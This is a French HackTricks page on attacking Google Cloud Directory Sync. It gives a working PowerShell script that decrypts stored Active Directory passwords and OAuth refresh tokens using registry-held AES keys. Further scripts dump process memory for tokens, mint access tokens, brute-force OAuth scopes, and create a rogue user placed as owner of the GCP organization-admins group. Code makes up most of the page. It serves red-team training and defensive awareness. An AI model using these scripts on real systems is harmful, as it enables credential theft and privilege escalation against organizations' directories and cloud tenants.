GCDS - Google Cloud Directory Sync

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Informations de base

C’est un outil qui peut ĂȘtre utilisĂ© pour synchroniser vos utilisateurs et groupes Active Directory avec votre Workspace (et non l’inverse au moment de la rĂ©daction).

C’est intĂ©ressant car c’est un outil qui nĂ©cessitera les identifiants d’un super utilisateur Workspace et d’un utilisateur AD privilĂ©giĂ©. Il pourrait donc ĂȘtre possible de le trouver Ă  l’intĂ©rieur d’un serveur de domaine qui synchroniserait des utilisateurs de temps en temps.

Note

Pour effectuer un MitM sur le binaire config-manager.exe, ajoutez simplement la ligne suivante dans le fichier config.manager.vmoptions : -Dcom.sun.net.ssl.checkRevocation=false

Tip

Notez que Winpeas est capable de dĂ©tecter GCDS, d’obtenir des informations sur la configuration et mĂȘme les mots de passe et les identifiants chiffrĂ©s.

Notez Ă©galement que GCDS ne synchronisera pas les mots de passe d’AD vers Workspace. Si quelque chose, il gĂ©nĂ©rera simplement des mots de passe alĂ©atoires pour les nouveaux utilisateurs créés dans Workspace comme vous pouvez le voir dans l’image suivante :

GCDS - Jetons de disque et identifiants AD

Le binaire config-manager.exe (le binaire principal de GCDS avec interface graphique) stockera par dĂ©faut les identifiants Active Directory configurĂ©s, le jeton de rafraĂźchissement et l’accĂšs dans un fichier xml dans le dossier C:\Program Files\Google Cloud Directory Sync dans un fichier appelĂ© Untitled-1.xml par dĂ©faut. Bien qu’il puisse Ă©galement ĂȘtre enregistrĂ© dans les Documents de l’utilisateur ou dans tout autre dossier.

De plus, le registre HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui Ă  l’intĂ©rieur de la clĂ© open.recent contient les chemins vers tous les fichiers de configuration rĂ©cemment ouverts (xmls). Il est donc possible de vĂ©rifier cela pour les trouver.

Les informations les plus intĂ©ressantes Ă  l’intĂ©rieur du fichier seraient :

[...]
<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
<oAuth2Scopes>
<scope>https://www.google.com/m8/feeds/</scope>
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
<scope>https://www.googleapis.com/auth/plus.me</scope>
</oAuth2Scopes>
[...]
<hostname>192.168.10.23</hostname>
<port>389</port>
<basedn>dc=hacktricks,dc=local</basedn>
<authType>SIMPLE</authType>
<authUser>DOMAIN\domain-admin</authUser>
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]

Notez comment le refresh token et le password de l’utilisateur sont encryptĂ©s en utilisant AES CBC avec une clĂ© et un IV gĂ©nĂ©rĂ©s alĂ©atoirement stockĂ©s dans HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util (oĂč la bibliothĂšque Java prefs stocke les prĂ©fĂ©rences) dans les clĂ©s de chaĂźne /Encryption/Policy/V2.iv et /Encryption/Policy/V2.key stockĂ©es en base64.

Script Powershell pour déchiffrer le refresh token et le password ```bash # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" $ivKeyName = "/Encryption/Policy/V2.iv" $keyKeyName = "/Encryption/Policy/V2.key"

Open the registry key

try { $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath) if (-not $regKey) { Throw “Registry key not found: HKCU$regPath” } } catch { Write-Error “Failed to open registry key: $_” exit }

Get Base64-encoded IV and Key from the registry

try { $ivBase64 = $regKey.GetValue($ivKeyName) $ivBase64 = $ivBase64 -replace ‘/’, ‘’ $ivBase64 = $ivBase64 -replace ‘\’, ‘/’ if (-not $ivBase64) { Throw “IV not found in registry” } $keyBase64 = $regKey.GetValue($keyKeyName) $keyBase64 = $keyBase64 -replace ‘/’, ‘’ $keyBase64 = $keyBase64 -replace ‘\’, ‘/’ if (-not $keyBase64) { Throw “Key not found in registry” } } catch { Write-Error “Failed to read registry values: $_” exit } $regKey.Close()

Decode Base64 IV and Key

$ivBytes = [Convert]::FromBase64String($ivBase64) $keyBytes = [Convert]::FromBase64String($keyBase64)

Read XML content

$xmlContent = Get-Content -Path $xmlConfigPath -Raw

Extract Base64-encoded encrypted values using regex

$refreshTokenMatch = [regex]::Match($xmlContent, “(.*?)”) $refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value

$encryptedPasswordMatch = [regex]::Match($xmlContent, “(.*?)”) $encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value

Decode encrypted values from Base64

$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64) $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)

Function to decrypt data using AES CBC

Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) { $aes = [System.Security.Cryptography.Aes]::Create() $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.KeySize = 256 $aes.BlockSize = 128 $aes.Key = $keyBytes $aes.IV = $ivBytes

$decryptor = $aes.CreateDecryptor() $memoryStream = New-Object System.IO.MemoryStream $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) $cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length) $cryptoStream.FlushFinalBlock() $plaintextBytes = $memoryStream.ToArray()

$cryptoStream.Close() $memoryStream.Close()

return $plaintextBytes }

Decrypt the values

$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes $refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)

$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)

Output the decrypted values

Write-Host “Decrypted Refresh Token: $refreshToken” Write-Host “Decrypted Password: $decryptedPassword”

</details>

> [!NOTE]
> Notez qu'il est possible de vérifier cette information en consultant le code java de **`DirSync.jar`** dans **`C:\Program Files\Google Cloud Directory Sync`** en recherchant la chaßne `exportkeys` (car c'est le paramÚtre cli que le binaire `upgrade-config.exe` s'attend à utiliser pour extraire les clés).

Au lieu d'utiliser le script powershell, il est également possible d'utiliser le binaire **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** avec le paramÚtre `-exportKeys` et d'obtenir la **Key** et **IV** depuis le registre en hexadécimal, puis d'utiliser CyberChef avec AES/CBC et cette clé et IV pour déchiffrer l'information.

### GCDS - Extraction de tokens de la mémoire

Tout comme avec GCPW, il est possible d'extraire la mémoire du processus `config-manager.exe` (c'est le nom du binaire principal de GCDS avec interface graphique) et vous pourrez trouver des tokens de rafraßchissement et d'accÚs (s'ils ont déjà été générés).\
Je suppose que vous pourriez également trouver les identifiants configurés AD.

<details>

<summary>Extraire les processus config-manager.exe et rechercher des tokens</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

GCDS - GĂ©nĂ©ration de jetons d’accĂšs Ă  partir de jetons d’actualisation

En utilisant le jeton d’actualisation, il est possible de gĂ©nĂ©rer des jetons d’accĂšs en utilisant celui-ci ainsi que l’ID client et le secret client spĂ©cifiĂ©s dans la commande suivante :

curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCDS - Scopes

Note

Notez qu’il n’est pas possible de demander n’importe quel scope pour le jeton d’accĂšs mĂȘme en ayant un jeton de rafraĂźchissement, car vous ne pouvez demander que les scopes pris en charge par l’application oĂč vous gĂ©nĂ©rez le jeton d’accĂšs.

De plus, le jeton de rafraüchissement n’est pas valide dans toutes les applications.

Par dĂ©faut, GCSD n’aura pas accĂšs en tant qu’utilisateur Ă  tous les scopes OAuth possibles, donc en utilisant le script suivant, nous pouvons trouver les scopes qui peuvent ĂȘtre utilisĂ©s avec le refresh_token pour gĂ©nĂ©rer un access_token :

Bash script to brute-force scopes ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi done

echo “” echo “” echo “Valid scopes:” cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt

</details>

Et voici le résultat que j'ai obtenu au moment de l'écriture :

https://www.googleapis.com/auth/admin.directory.group https://www.googleapis.com/auth/admin.directory.orgunit https://www.googleapis.com/auth/admin.directory.resource.calendar https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/admin.directory.userschema https://www.googleapis.com/auth/apps.groups.settings https://www.googleapis.com/auth/apps.licensing https://www.googleapis.com/auth/contacts

#### Créez un utilisateur et ajoutez-le au groupe `gcp-organization-admins` pour essayer d'escalader dans GCP
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'

# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'

# You could also change the password of a user for example

Caution

Il n’est pas possible de donner au nouvel utilisateur le rĂŽle Super Amin car le jeton d’actualisation n’a pas suffisamment de portĂ©es pour accorder les privilĂšges requis.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks